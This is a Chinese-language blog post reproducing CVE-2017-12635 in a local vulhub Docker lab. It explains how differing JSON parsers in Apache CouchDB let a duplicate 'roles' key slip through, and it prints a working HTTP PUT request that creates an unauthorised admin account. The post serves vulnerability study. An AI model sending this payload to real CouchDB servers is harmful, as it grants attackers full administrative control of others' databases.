Couchdb垂直权限绕过漏洞(CVE-2017-12635)

0x01漏洞概述

​ Apache CouchDB是一个面向文档的开源NoSQL数据库,在Erlang中实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce将JavaScript作为其查询语言,并使用HTTP作为API。

​ 由于基于Erlang的JSON解析器和基于JavaScript的JSON解析器的差异,在1.7.0之前的Apache CouchDB和2.1.1之前的2.x中,可以提交具有重复键的文档,用于数据库内的访问控制,包括表示管理用户的特殊情况角色。

​ 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

参考连接:

https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
https://www.exploit-db.com/exploits/44498
http://bobao.360.cn/learning/detail/4716.html

0x02影响版本

​ 小于 1.7.0 以及 小于 2.1.1

0x03漏洞环境

1、启动漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12635]
└─# docker-compose up -d 

2、访问漏洞

http://your-ip:5984/_utils/

显示为该页面,则漏洞环境启动成功。

3、测试完毕后删除漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12635]
└─# docker-compose down 

0x04复现过程

1、正常输入账号密码,发现访问不成功。

访问如下网站信息:

http://your-ip:5984/_utils/

结果如下:

2、利用burpsuite抓包,发送到重发器进行改包。

这是添加用户的正常请求

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

发送以后,发现返回403错误,意味着只有管理员才能访问。

结果图如下:

3、发送包含重复角色的请求来绕过限制

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

发现成功创建用户,并且带有密码。

账号:vulhub

密码:vulhub

结果图如下:

4、利用注册好的账号密码进行登录

发现成功登录,结果如下:

posted @ 2022-05-15 12:32  RichardYg  阅读(152)  评论(0编辑  收藏  举报